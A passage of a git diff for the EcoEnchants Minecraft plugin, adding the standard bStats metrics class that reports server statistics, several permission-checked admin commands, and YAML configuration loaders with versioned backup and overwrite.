Bukkit.getScheduler().runTask(plugin, () -> submitData()); + } + }, 1000 * 60 * 5, 1000 * 60 * 30); + // Submit the data every 30 minutes, first time after 5 minutes to give other plugins enough time to start + // WARNING: Changing the frequency has no effect but your plugin WILL be blocked/deleted! + // WARNING: Just don't do it! + } + + /** + * Gets the plugin specific data. + * This method is called using Reflection. + * + * @return The plugin specific data. + */ + public JsonObject getPluginData() { + JsonObject data = new JsonObject(); + + String pluginName = plugin.getDescription().getName(); + String pluginVersion = plugin.getDescription().getVersion(); + + data.addProperty("pluginName", pluginName); // Append the name of the plugin + data.addProperty("id", pluginId); // Append the id of the plugin + data.addProperty("pluginVersion", pluginVersion); // Append the version of the plugin + JsonArray customCharts = new JsonArray(); + for (CustomChart customChart : charts) { + // Add the data of the custom charts + JsonObject chart = customChart.getRequestJsonObject(); + if (chart == null) { // If the chart is null, we skip it + continue; + } + customCharts.add(chart); + } + data.add("customCharts", customCharts); + + return data; + } + + /** + * Gets the server specific data. + * + * @return The server specific data. + */ + private JsonObject getServerData() { + // Minecraft specific data + int playerAmount; + try { + // Around MC 1.8 the return type was changed to a collection from an array, + // This fixes java.lang.NoSuchMethodError: org.bukkit.Bukkit.getOnlinePlayers()Ljava/util/Collection; + Method onlinePlayersMethod = Class.forName("org.bukkit.Server").getMethod("getOnlinePlayers"); + playerAmount = onlinePlayersMethod.getReturnType().equals(Collection.class) + ? ((Collection) onlinePlayersMethod.invoke(Bukkit.getServer())).size() + : ((Player[]) onlinePlayersMethod.invoke(Bukkit.getServer())).length; + } catch (Exception e) { + playerAmount = Bukkit.getOnlinePlayers().size(); // Just use the new method if the Reflection failed + } + int onlineMode = Bukkit.getOnlineMode() ? 1 : 0; + String bukkitVersion = Bukkit.getVersion(); + String bukkitName = Bukkit.getName(); + + // OS/Java specific data + String javaVersion = System.getProperty("java.version"); + String osName = System.getProperty("os.name"); + String osArch = System.getProperty("os.arch"); + String osVersion = System.getProperty("os.version"); + int coreCount = Runtime.getRuntime().availableProcessors(); + + JsonObject data = new JsonObject(); + + data.addProperty("serverUUID", serverUUID); + + data.addProperty("playerAmount", playerAmount); + data.addProperty("onlineMode", onlineMode); + data.addProperty("bukkitVersion", bukkitVersion); + data.addProperty("bukkitName", bukkitName); + + data.addProperty("javaVersion", javaVersion); + data.addProperty("osName", osName); + data.addProperty("osArch", osArch); + data.addProperty("osVersion", osVersion); + data.addProperty("coreCount", coreCount); + + return data; + } + + /** + * Collects the data and sends it afterwards. + */ + private void submitData() { + final JsonObject data = getServerData(); + + JsonArray pluginData = new JsonArray(); + // Search for all other bStats Metrics classes to get their plugin data + for (Class service : Bukkit.getServicesManager().getKnownServices()) { + try { + service.getField("B_STATS_VERSION"); // Our identifier :) + + for (RegisteredServiceProvider provider : Bukkit.getServicesManager().getRegistrations(service)) { + try { + Object plugin = provider.getService().getMethod("getPluginData").invoke(provider.getProvider()); + if (plugin instanceof JsonObject) { + pluginData.add((JsonObject) plugin); + } else { // old bstats version compatibility + try { + Class jsonObjectJsonSimple = Class.forName("org.json.simple.JSONObject"); + if (plugin.getClass().isAssignableFrom(jsonObjectJsonSimple)) { + Method jsonStringGetter = jsonObjectJsonSimple.getDeclaredMethod("toJSONString"); + jsonStringGetter.setAccessible(true); + String jsonString = (String) jsonStringGetter.invoke(plugin); + JsonObject object = new JsonParser().parse(jsonString).getAsJsonObject(); + pluginData.add(object); + } + } catch (ClassNotFoundException e) { + // minecraft version 1.14+ + if (logFailedRequests) { + this.plugin.getLogger().log(Level.SEVERE, "Encountered unexpected exception", e); + } + } + } + } catch (NullPointerException | NoSuchMethodException | IllegalAccessException | InvocationTargetException ignored) { + } + } + } catch (NoSuchFieldException ignored) { + } + } + + data.add("plugins", pluginData); + + // Create a new thread for the connection to the bStats server + new Thread(() -> { + try { + // Send the data + sendData(plugin, data); + } catch (Exception e) { + // Something went wrong! :( + if (logFailedRequests) { + plugin.getLogger().log(Level.WARNING, "Could not submit plugin stats of " + plugin.getName(), e); + } + } + }).start(); + } + + /** + * Sends the data to the bStats server. + * + * @param plugin Any plugin. It's just used to get a logger instance. + * @param data The data to send. + * + * @throws Exception If the request failed. + */ + private static void sendData(Plugin plugin, JsonObject data) throws Exception { + if (data == null) { + throw new IllegalArgumentException("Data cannot be null!"); + } + if (Bukkit.isPrimaryThread()) { + throw new IllegalAccessException("This method must not be called from the main thread!"); + } + if (logSentData) { + plugin.getLogger().info("Sending data to bStats: " + data); + } + HttpsURLConnection connection = (HttpsURLConnection) new URL(URL).openConnection(); + + // Compress the data to save bandwidth + byte[] compressedData = compress(data.toString()); + + // Add headers + connection.setRequestMethod("POST"); + connection.addRequestProperty("Accept", "application/json"); + connection.addRequestProperty("Connection", "close"); + connection.addRequestProperty("Content-Encoding", "gzip"); // We gzip our request + connection.addRequestProperty("Content-Length", String.valueOf(compressedData.length)); + connection.setRequestProperty("Content-Type", "application/json"); // We send our data in JSON format + connection.setRequestProperty("User-Agent", "MC-Server/" + B_STATS_VERSION); + + // Send data + connection.setDoOutput(true); + try (DataOutputStream outputStream = new DataOutputStream(connection.getOutputStream())) { + outputStream.write(compressedData); + } + + StringBuilder builder = new StringBuilder(); + try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(connection.getInputStream()))) { + String line; + while ((line = bufferedReader.readLine()) != null) { + builder.append(line); + } + } + + if (logResponseStatusText) { + plugin.getLogger().info("Sent data to bStats and received response: " + builder); + } + } + + /** + * Gzips the given String. + * + * @param str The string to gzip. + * + * @return The gzipped String. + * + * @throws IOException If the compression failed. + */ + private static byte[] compress(final String str) throws IOException { + if (str == null) { + return null; + } + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + try (GZIPOutputStream gzip = new GZIPOutputStream(outputStream)) { + gzip.write(str.getBytes(StandardCharsets.UTF_8)); + } + return outputStream.toByteArray(); + } + + /** + * Represents a custom chart. + */ + public abstract static class CustomChart { + + // The id of the chart + final String chartId; + + /** + * Class constructor. + * + * @param chartId The id of the chart. + */ + CustomChart(String chartId) { + if (chartId == null || chartId.isEmpty()) { + throw new IllegalArgumentException("ChartId cannot be null or empty!"); + } + this.chartId = chartId; + } + + private JsonObject getRequestJsonObject() { + JsonObject chart = new JsonObject(); + chart.addProperty("chartId", chartId); + try { + JsonObject data = getChartData(); + if (data == null) { + // If the data is null we don't send the chart. + return null; + } + chart.add("data", data); + } catch (Throwable t) { + if (logFailedRequests) { + Bukkit.getLogger().log(Level.WARNING, "Failed to get data for custom chart with id " + chartId, t); + } + return null; + } + return chart; + } + + protected abstract JsonObject getChartData() throws Exception; + + } + + /** + * Represents a custom simple pie. + */ + public static class SimplePie extends CustomChart { + + private final Callable callable; + + /** + * Class constructor. + * + * @param chartId The id of the chart. + * @param callable The callable which is used to request the chart data. + */ + public SimplePie(String chartId, Callable callable) { + super(chartId); + this.callable = callable; + } + + @Override + protected JsonObject getChartData() throws Exception { + JsonObject data = new JsonObject(); + String value = callable.call(); + if (value == null || value.isEmpty()) { + // Null = skip the chart + return null; + } + data.addProperty("value", value); + return data; + } + } + + /** + * Represents a custom advanced pie. + */ + public static class AdvancedPie extends CustomChart { + + private final Callable> callable; + + /** + * Class constructor. + * + * @param chartId The id of the chart. + * @param callable The callable which is used to request the chart data. + */ + public AdvancedPie(String chartId, Callable> callable) { + super(chartId); + this.callable = callable; + } + + @Override + protected JsonObject getChartData() throws Exception { + JsonObject data = new JsonObject(); + JsonObject values = new JsonObject(); + Map map = callable.call(); + if (map == null || map.isEmpty()) { + // Null = skip the chart + return null; + } + boolean allSkipped = true; + for (Map.Entry entry : map.entrySet()) { + if (entry.getValue() == 0) { + continue; // Skip this invalid + } + allSkipped = false; + values.addProperty(entry.getKey(), entry.getValue()); + } + if (allSkipped) { + // Null = skip the chart + return null; + } + data.add("values", values); + return data; + } + } + + /** + * Represents a custom drilldown pie. + */ + public static class DrilldownPie extends CustomChart { + + private final Callable>> callable; + + /** + * Class constructor. + * + * @param chartId The id of the chart. + * @param callable The callable which is used to request the chart data. + */ + public DrilldownPie(String chartId, Callable>> callable) { + super(chartId); + this.callable = callable; + } + + @Override + public JsonObject getChartData() throws Exception { + JsonObject data = new JsonObject(); + JsonObject values = new JsonObject(); + Map> map = callable.call(); + if (map == null || map.isEmpty()) { + // Null = skip the chart + return null; + } + boolean reallyAllSkipped = true; + for (Map.Entry> entryValues : map.entrySet()) { + JsonObject value = new JsonObject(); + boolean allSkipped = true; + for (Map.Entry valueEntry : map.get(entryValues.getKey()).entrySet()) { + value.addProperty(valueEntry.getKey(), valueEntry.getValue()); + allSkipped = false; + } + if (!allSkipped) { + reallyAllSkipped = false; + values.add(entryValues.getKey(), value); + } + } + if (reallyAllSkipped) { + // Null = skip the chart + return null; + } + data.add("values", values); + return data; + } + } + + /** + * Represents a custom single line chart. + */ + public static class SingleLineChart extends CustomChart { + + private final Callable callable; + + /** + * Class constructor. + * + * @param chartId The id of the chart. + * @param callable The callable which is used to request the chart data. + */ + public SingleLineChart(String chartId, Callable callable) { + super(chartId); + this.callable = callable; + } + + @Override + protected JsonObject getChartData() throws Exception { + JsonObject data = new JsonObject(); + int value = callable.call(); + if (value == 0) { + // Null = skip the chart + return null; + } + data.addProperty("value", value); + return data; + } + + } + + /** + * Represents a custom multi line chart. + */ + public static class MultiLineChart extends CustomChart { + + private final Callable> callable; + + /** + * Class constructor. + * + * @param chartId The id of the chart. + * @param callable The callable which is used to request the chart data. + */ + public MultiLineChart(String chartId, Callable> callable) { + super(chartId); + this.callable = callable; + } + + @Override + protected JsonObject getChartData() throws Exception { + JsonObject data = new JsonObject(); + JsonObject values = new JsonObject(); + Map map = callable.call(); + if (map == null || map.isEmpty()) { + // Null = skip the chart + return null; + } + boolean allSkipped = true; + for (Map.Entry entry : map.entrySet()) { + if (entry.getValue() == 0) { + continue; // Skip this invalid + } + allSkipped = false; + values.addProperty(entry.getKey(), entry.getValue()); + } + if (allSkipped) { + // Null = skip the chart + return null; + } + data.add("values", values); + return data; + } + + } + + /** + * Represents a custom simple bar chart. + */ + public static class SimpleBarChart extends CustomChart { + + private final Callable> callable; + + /** + * Class constructor. + * + * @param chartId The id of the chart. + * @param callable The callable which is used to request the chart data. + */ + public SimpleBarChart(String chartId, Callable> callable) { + super(chartId); + this.callable = callable; + } + + @Override + protected JsonObject getChartData() throws Exception { + JsonObject data = new JsonObject(); + JsonObject values = new JsonObject(); + Map map = callable.call(); + if (map == null || map.isEmpty()) { + // Null = skip the chart + return null; + } + for (Map.Entry entry : map.entrySet()) { + JsonArray categoryValues = new JsonArray(); + categoryValues.add(new JsonPrimitive(entry.getValue())); + values.add(entry.getKey(), categoryValues); + } + data.add("values", values); + return data; + } + + } + + /** + * Represents a custom advanced bar chart. + */ + public static class AdvancedBarChart extends CustomChart { + + private final Callable> callable; + + /** + * Class constructor. + * + * @param chartId The id of the chart. + * @param callable The callable which is used to request the chart data. + */ + public AdvancedBarChart(String chartId, Callable> callable) { + super(chartId); + this.callable = callable; + } + + @Override + protected JsonObject getChartData() throws Exception { + JsonObject data = new JsonObject(); + JsonObject values = new JsonObject(); + Map map = callable.call(); + if (map == null || map.isEmpty()) { + // Null = skip the chart + return null; + } + boolean allSkipped = true; + for (Map.Entry entry : map.entrySet()) { + if (entry.getValue().length == 0) { + continue; // Skip this invalid + } + allSkipped = false; + JsonArray categoryValues = new JsonArray(); + for (int categoryValue : entry.getValue()) { + categoryValues.add(new JsonPrimitive(categoryValue)); + } + values.add(entry.getKey(), categoryValues); + } + if (allSkipped) { + // Null = skip the chart + return null; + } + data.add("values", values); + return data; + } + } + +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/commands/CommandEcodebug.java b/Plugin/src/main/java/com/willfp/ecoenchants/commands/CommandEcodebug.java new file mode 100644 index 00000000..31b66f6b --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/commands/CommandEcodebug.java @@ -0,0 +1,50 @@ +package com.willfp.ecoenchants.commands; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.config.ConfigManager; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import org.bukkit.Bukkit; +import org.bukkit.command.Command; +import org.bukkit.command.CommandExecutor; +import org.bukkit.command.CommandSender; +import org.bukkit.enchantments.Enchantment; +import org.bukkit.entity.Player; + +import java.lang.reflect.Field; +import java.util.Arrays; +import java.util.Map; + +public class CommandEcodebug implements CommandExecutor { + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (command.getName().equalsIgnoreCase("ecodebug")) { + if (!(sender instanceof Player)) { + sender.sendMessage(ConfigManager.getLang().getMessage("not-player")); + return true; + } + + if (!sender.hasPermission("ecoenchants.ecodebug")) { + sender.sendMessage(ConfigManager.getLang().getNoPermission()); + return true; + } + + Bukkit.getLogger().info("--------------- BEGIN DEBUG ----------------"); + Player player = (Player) sender; + Bukkit.getLogger().info("Running Version: " + Main.getInstance().getDescription().getVersion()); + Bukkit.getLogger().info("Held Item: " + player.getInventory().getItemInMainHand().toString()); + Bukkit.getLogger().info("EcoEnchants.getAll(): " + EcoEnchants.getAll().toString()); + Bukkit.getLogger().info("Enchantment.values(): " + Arrays.toString(Enchantment.values())); + try { + Field byNameField = Enchantment.class.getDeclaredField("byName"); + byNameField.setAccessible(true); + Map byName = (Map) byNameField.get(null); + Bukkit.getLogger().info("Enchantment.byName: " + byName.toString()); + } catch (NoSuchFieldException | IllegalAccessException e) { + e.printStackTrace(); + } + + Bukkit.getLogger().info("--------------- END DEBUG ----------------"); + } + + return false; + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/commands/CommandEcoreload.java b/Plugin/src/main/java/com/willfp/ecoenchants/commands/CommandEcoreload.java new file mode 100644 index 00000000..a4d2bb61 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/commands/CommandEcoreload.java @@ -0,0 +1,43 @@ +package com.willfp.ecoenchants.commands; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.config.ConfigManager; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.enchantments.EnchantmentRarity; +import com.willfp.ecoenchants.lore.EnchantLore; +import org.bukkit.Bukkit; +import org.bukkit.command.Command; +import org.bukkit.command.CommandExecutor; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; +import org.bukkit.event.HandlerList; + +public class CommandEcoreload implements CommandExecutor { + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (command.getName().equalsIgnoreCase("ecoreload")) { + if (sender instanceof Player) { + if (!sender.hasPermission("ecoenchants.reload")) { + sender.sendMessage(ConfigManager.getLang().getNoPermission()); + return true; + } + } + ConfigManager.updateConfigs(); + EnchantmentRarity.update(); + EcoEnchants.update(); + EnchantLore.update(); + + EcoEnchants.getAll().forEach((ecoEnchant -> { + HandlerList.unregisterAll(ecoEnchant); + + Bukkit.getScheduler().runTaskLater(Main.getInstance(), () -> { + if(!ecoEnchant.isDisabled()) { + Bukkit.getPluginManager().registerEvents(ecoEnchant, Main.getInstance()); + } + }, 1); + })); + sender.sendMessage(ConfigManager.getLang().getMessage("reloaded")); + } + + return false; + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/commands/CommandEcoskip.java b/Plugin/src/main/java/com/willfp/ecoenchants/commands/CommandEcoskip.java new file mode 100644 index 00000000..9fb3d40e --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/commands/CommandEcoskip.java @@ -0,0 +1,44 @@ +package com.willfp.ecoenchants.commands; + +import com.willfp.ecoenchants.config.ConfigManager; +import com.willfp.ecoenchants.lore.EnchantLore; +import org.bukkit.command.Command; +import org.bukkit.command.CommandExecutor; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.meta.ItemMeta; +import org.bukkit.persistence.PersistentDataType; + +public class CommandEcoskip implements CommandExecutor { + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (command.getName().equalsIgnoreCase("ecoskip")) { + if (!(sender instanceof Player)) { + sender.sendMessage(ConfigManager.getLang().getMessage("not-player")); + return true; + } + + if (!sender.hasPermission("ecoenchants.skip")) { + sender.sendMessage(ConfigManager.getLang().getNoPermission()); + return true; + } + + Player player = (Player) sender; + ItemStack item = player.getInventory().getItemInMainHand(); + ItemMeta meta = item.getItemMeta(); + if(meta == null) { + return true; + } + if(meta.getPersistentDataContainer().has(EnchantLore.keySkip, PersistentDataType.INTEGER)) { + meta.getPersistentDataContainer().remove(EnchantLore.keySkip); + player.sendMessage(ConfigManager.getLang().getMessage("skip-removed")); + } else { + meta.getPersistentDataContainer().set(EnchantLore.keySkip, PersistentDataType.INTEGER, 1); + player.sendMessage(ConfigManager.getLang().getMessage("skip-added")); + } + item.setItemMeta(meta); + } + + return false; + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/commands/CommandEnchantinfo.java b/Plugin/src/main/java/com/willfp/ecoenchants/commands/CommandEnchantinfo.java new file mode 100644 index 00000000..6c32bc33 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/commands/CommandEnchantinfo.java @@ -0,0 +1,144 @@ +package com.willfp.ecoenchants.commands; + +import com.willfp.ecoenchants.config.ConfigManager; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import org.apache.commons.lang.WordUtils; +import org.bukkit.ChatColor; +import org.bukkit.Material; +import org.bukkit.command.Command; +import org.bukkit.command.CommandExecutor; +import org.bukkit.command.CommandSender; +import org.bukkit.enchantments.Enchantment; + +import java.util.Arrays; +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +public class CommandEnchantinfo implements CommandExecutor { + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (command.getName().equalsIgnoreCase("enchantinfo")) { + if (!sender.hasPermission("ecoenchants.enchantinfo")) { + sender.sendMessage(ConfigManager.getLang().getNoPermission()); + return true; + } + + if(args.length == 0) { + sender.sendMessage(ConfigManager.getLang().getMessage("missing-enchant")); + return true; + } + StringBuilder nameBuilder = new StringBuilder(); + + Arrays.asList(args).forEach((arg) -> { + nameBuilder.append(arg).append(" "); + }); + String searchName = nameBuilder.toString(); + searchName = searchName.substring(0, searchName.length() - 1); + + EcoEnchant enchantment = EcoEnchants.getByName(searchName); + + boolean notFound = enchantment == null; + + if(notFound) { + String message = ConfigManager.getLang().getMessage("not-found").replace("%name%", searchName); + sender.sendMessage(message); + return true; + } + + String name; + String color; + List description; + + boolean isCurse = enchantment.isCursed(); + boolean isSpecial = false; + boolean isArtifact = false; + + if(enchantment.getType().equals(EcoEnchant.EnchantmentType.SPECIAL)) { + isSpecial = true; + } + if(enchantment.getType().equals(EcoEnchant.EnchantmentType.ARTIFACT)) { + isArtifact = true; + } + + if(isCurse) color = ChatColor.translateAlternateColorCodes('&', ConfigManager.getLang().getString("curse-color")); + else if(isSpecial) color = ChatColor.translateAlternateColorCodes('&', ConfigManager.getLang().getString("special-color")); + else if(isArtifact) color = ChatColor.translateAlternateColorCodes('&', ConfigManager.getLang().getString("artifact-color")); + else color = ChatColor.translateAlternateColorCodes('&', ConfigManager.getLang().getString("not-curse-color")); + + + name = enchantment.getName(); + description = EcoEnchants.getFromEnchantment(enchantment).getDescription(); + StringBuilder descriptionBuilder = new StringBuilder(); + description.forEach((line) -> { + descriptionBuilder.append(line).append(" "); + }); + String desc = descriptionBuilder.toString(); + + Set conflictNames = new HashSet<>(); + + Set conflicts = enchantment.getConflicts(); + + conflicts.forEach((enchantment1 -> { + if(EcoEnchants.getFromEnchantment(enchantment1) != null) { + conflictNames.add(EcoEnchants.getFromEnchantment(enchantment1).getName()); + } else { + conflictNames.add(ConfigManager.getLang().getString("vanilla." + enchantment1.getKey().getKey() + ".name")); + } + })); + + StringBuilder conflictNamesBuilder = new StringBuilder(); + conflictNames.forEach((name1) -> { + conflictNamesBuilder.append(name1).append(", "); + }); + String allConflicts = conflictNamesBuilder.toString(); + if(allConflicts.length() >= 2) { + allConflicts = allConflicts.substring(0, allConflicts.length() -2); + } else { + allConflicts = ChatColor.translateAlternateColorCodes('&', ConfigManager.getLang().getString("no-conflicts")); + } + + Set targets = enchantment.getTarget(); + + Set applicableItemsSet = new HashSet<>(); + + targets.forEach(material -> { + String matName = material.toString(); + matName = matName.toLowerCase(); + matName = matName.replaceAll("_", " "); + matName = WordUtils.capitalize(matName); + applicableItemsSet.add(matName); + }); + + StringBuilder targetNamesBuilder = new StringBuilder(); + applicableItemsSet.forEach((name1) -> { + targetNamesBuilder.append(name1).append(", "); + }); + String allTargets = targetNamesBuilder.toString(); + if(allTargets.length() >= 2) { + allTargets = allTargets.substring(0, allTargets.length() - 2); + } else { + allTargets = ChatColor.translateAlternateColorCodes('&', ConfigManager.getLang().getString("no-targets")); + } + + String maxLevel = String.valueOf(enchantment.getMaxLevel()); + + final String finalName = color + name; + final String finalDescription = desc; + final String finalTargets = allTargets; + final String finalConflicts = allConflicts; + final String finalMaxLevel = maxLevel; + + Arrays.asList(ConfigManager.getLang().getMessage("enchantinfo").split("\\r?\\n")).forEach((string -> { + string = string.replaceAll("%name%", finalName) + .replaceAll("%description%", finalDescription) + .replaceAll("%target%", finalTargets) + .replaceAll("%conflicts%", finalConflicts) + .replaceAll("%maxlevel%", finalMaxLevel); + sender.sendMessage(string); + })); + } + + return false; + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/config/ConfigManager.java b/Plugin/src/main/java/com/willfp/ecoenchants/config/ConfigManager.java new file mode 100644 index 00000000..4764d1b2 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/config/ConfigManager.java @@ -0,0 +1,72 @@ +package com.willfp.ecoenchants.config; + +import com.willfp.ecoenchants.config.configs.Config; +import com.willfp.ecoenchants.config.configs.EnchantmentConfig; +import com.willfp.ecoenchants.config.configs.Lang; + +import java.util.HashSet; +import java.util.Set; + +public class ConfigManager { + private static final Lang LANG = new Lang(); + private static final Config CONFIG = new Config(); + private static final Set enchantmentConfigs = new HashSet<>(); + + /** + * Update all configs + * Called on /ecoreload + */ + public static void updateConfigs() { + LANG.reload(); + CONFIG.reload(); + updateEnchantmentConfigs(); + } + + /** + * Update enchantment configs + */ + public static void updateEnchantmentConfigs() { + enchantmentConfigs.forEach((EnchantmentYamlConfig::reload)); + } + + /** + * Get all enchantment configs + * @return Set of all enchantment configs + */ + public static Set getEnchantmentConfigs() { + return enchantmentConfigs; + } + + /** + * Get EnchantmentConfig matching permission name + * @param permissionName The permission name to match + * @return The matching {@link EnchantmentConfig} + */ + public static EnchantmentConfig getEnchantmentConfig(String permissionName) { + return enchantmentConfigs.stream().filter(config -> config.getName().equalsIgnoreCase(permissionName)).findFirst().get(); + } + + /** + * Adds new enchantment config yml + * @param config The config to add + */ + public static void addEnchantmentConfig(EnchantmentConfig config) { + enchantmentConfigs.add(config); + } + + /** + * Get lang.yml + * @return lang.yml + */ + public static Lang getLang() { + return LANG; + } + + /** + * Get config.yml + * @return config.yml + */ + public static Config getConfig() { + return CONFIG; + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/config/EnchantmentYamlConfig.java b/Plugin/src/main/java/com/willfp/ecoenchants/config/EnchantmentYamlConfig.java new file mode 100644 index 00000000..12f76189 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/config/EnchantmentYamlConfig.java @@ -0,0 +1,141 @@ +package com.willfp.ecoenchants.config; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import org.bukkit.Bukkit; +import org.bukkit.configuration.InvalidConfigurationException; +import org.bukkit.configuration.file.YamlConfiguration; +import org.bukkit.plugin.java.JavaPlugin; + +import java.io.*; +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; + +/** + * Class implemented by enchantment configs + */ +public abstract class EnchantmentYamlConfig { + + private final String name; + public YamlConfiguration config; + private File configFile; + private final File directory; + private final double latestVersion; + private final JavaPlugin plugin = Main.getInstance(); + private final Class plugin2; + private final EcoEnchant.EnchantmentType type; + private File basedir = new File(this.plugin.getDataFolder(), "enchants/"); + + /** + * Create new config yml + * + * @param name The config name + * @param latestVersion The latest config version + * @param plugin The class of the main class of plugin or extension + * @param type The enchantment type + */ + public EnchantmentYamlConfig(String name, double latestVersion, Class plugin, EcoEnchant.EnchantmentType type) { + this.name = name; + this.latestVersion = latestVersion; + this.plugin2 = plugin; + this.type = type; + + if(!basedir.exists()) basedir.mkdirs(); + + File dir = new File(basedir, type.name().toLowerCase() + "/"); + if (!dir.exists()) { + dir.mkdirs(); + } + this.directory = dir; + + init(); + } + + private void init() { + if (!new File(directory, name + ".yml").exists()) { + createFile(); + } + + this.configFile = new File(directory, name + ".yml"); + this.config = YamlConfiguration.loadConfiguration(configFile); + + checkVersion(); + } + + private void saveResource(boolean replace) { + String resourcePath = "/enchants/" + type.name().toLowerCase() + "/" + name + ".yml"; + + InputStream in = plugin2.getResourceAsStream(resourcePath); + + File outFile = new File(Main.getInstance().getDataFolder(), resourcePath); + int lastIndex = resourcePath.lastIndexOf('/'); + File outDir = new File(Main.getInstance().getDataFolder(), resourcePath.substring(0, Math.max(lastIndex, 0))); + + if (!outDir.exists()) { + outDir.mkdirs(); + } + + try { + if (!outFile.exists() || replace) { + OutputStream out = new FileOutputStream(outFile); + byte[] buf = new byte[1024]; + int len; + while ((len = in.read(buf)) > 0) { + out.write(buf, 0, len); + } + out.close(); + in.close(); + } + } catch (IOException ignored) {} + } + + private void createFile() { + saveResource(false); + } + private void replaceFile() { + saveResource(true); + } + + public void reload() { + try { + this.config.load(this.configFile); + } catch (IOException | InvalidConfigurationException e) { + e.printStackTrace(); + Bukkit.getLogger().severe("§cCould not reload " + name + ".yml - Contact Auxilor."); + } + } + + private void checkVersion() { + if (latestVersion != config.getDouble("config-version")) { + Bukkit.getLogger().warning("EcoEnchants detected an older or invalid " + name + ".yml. Replacing it with the default config..."); + Bukkit.getLogger().warning("If you've edited the config, copy over your changes!"); + performOverwrite(); + Bukkit.getLogger().info("§aReplacement complete!"); + } + } + + private void performOverwrite() { + DateTimeFormatter dtf = DateTimeFormatter.ofPattern("yyyy-MM-dd-HH-mm-ss"); + LocalDateTime now = LocalDateTime.now(); + String dateTime = dtf.format(now); + try { + File backupDir = new File(plugin.getDataFolder(), "backup/"); + if(!backupDir.exists()) backupDir.mkdirs(); + File oldConf = new File(backupDir, name + "_" + dateTime + ".yml"); + oldConf.createNewFile(); + FileInputStream fis = new FileInputStream(directory + "/" + name + ".yml"); + FileOutputStream fos = new FileOutputStream(oldConf); + byte[] buffer = new byte[1024]; + int length; + while ((length = fis.read(buffer)) > 0) { + fos.write(buffer, 0, length); + } + fis.close(); + fos.close(); + replaceFile(); + } catch (IOException e) { + e.printStackTrace(); + Bukkit.getLogger().severe("§cCould not update config. Try reinstalling EcoEnchants"); + } + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/config/YamlConfig.java b/Plugin/src/main/java/com/willfp/ecoenchants/config/YamlConfig.java new file mode 100644 index 00000000..d5a3211d --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/config/YamlConfig.java @@ -0,0 +1,88 @@ +package com.willfp.ecoenchants.config; + +import com.willfp.ecoenchants.Main; +import org.bukkit.Bukkit; +import org.bukkit.configuration.InvalidConfigurationException; +import org.bukkit.configuration.file.YamlConfiguration; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; + +public abstract class YamlConfig { + private final String name; + public YamlConfiguration config; + private File configFile; + + public YamlConfig(String name) { + this.name = name; + + init(); + } + + private void init() { + if (!new File(Main.getInstance().getDataFolder(), name + ".yml").exists()) { + createFile(); + } + + this.configFile = new File(Main.getInstance().getDataFolder(), name + ".yml"); + this.config = YamlConfiguration.loadConfiguration(configFile); + + checkVersion(); + } + + private void createFile() { + Main.getInstance().saveResource(name + ".yml", false); + } + + private void replaceFile() { + Main.getInstance().saveResource(name + ".yml", true); + } + + public void reload() { + try { + this.config.load(this.configFile); + } catch (IOException | InvalidConfigurationException e) { + e.printStackTrace(); + Bukkit.getLogger().severe("§cCould not reload " + name + ".yml - Contact Auxilor."); + } + } + + private void checkVersion() { + double latestVersion = Main.configVersions.get(this.name); + if (latestVersion != config.getDouble("config-version")) { + Bukkit.getLogger().warning("EcoEnchants detected an older or invalid " + name + ".yml. Replacing it with the default config..."); + Bukkit.getLogger().warning("If you've edited the config, copy over your changes!"); + performOverwrite(); + Bukkit.getLogger().info("§aReplacement complete!"); + } + } + + private void performOverwrite() { + DateTimeFormatter dtf = DateTimeFormatter.ofPattern("yyyy-MM-dd-HH-mm-ss"); + LocalDateTime now = LocalDateTime.now(); + String dateTime = dtf.format(now); + try { + File backupDir = new File(Main.getInstance().getDataFolder(), "backup/"); + if(!backupDir.exists()) backupDir.mkdirs(); + File oldConf = new File(backupDir, name + "_" + dateTime + ".yml"); + oldConf.createNewFile(); + FileInputStream fis = new FileInputStream(Main.getInstance().getDataFolder() + "/" + name + ".yml"); + FileOutputStream fos = new FileOutputStream(oldConf); + byte[] buffer = new byte[1024]; + int length; + while ((length = fis.read(buffer)) > 0) { + fos.write(buffer, 0, length); + } + fis.close(); + fos.close(); + replaceFile(); + } catch (IOException e) { + e.printStackTrace(); + Bukkit.getLogger().severe("§cCould not update config. Try reinstalling EcoEnchants"); + } + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/config/configs/Config.java b/Plugin/src/main/java/com/willfp/ecoenchants/config/configs/Config.java new file mode 100644 index 00000000..d3fe30b1 --- 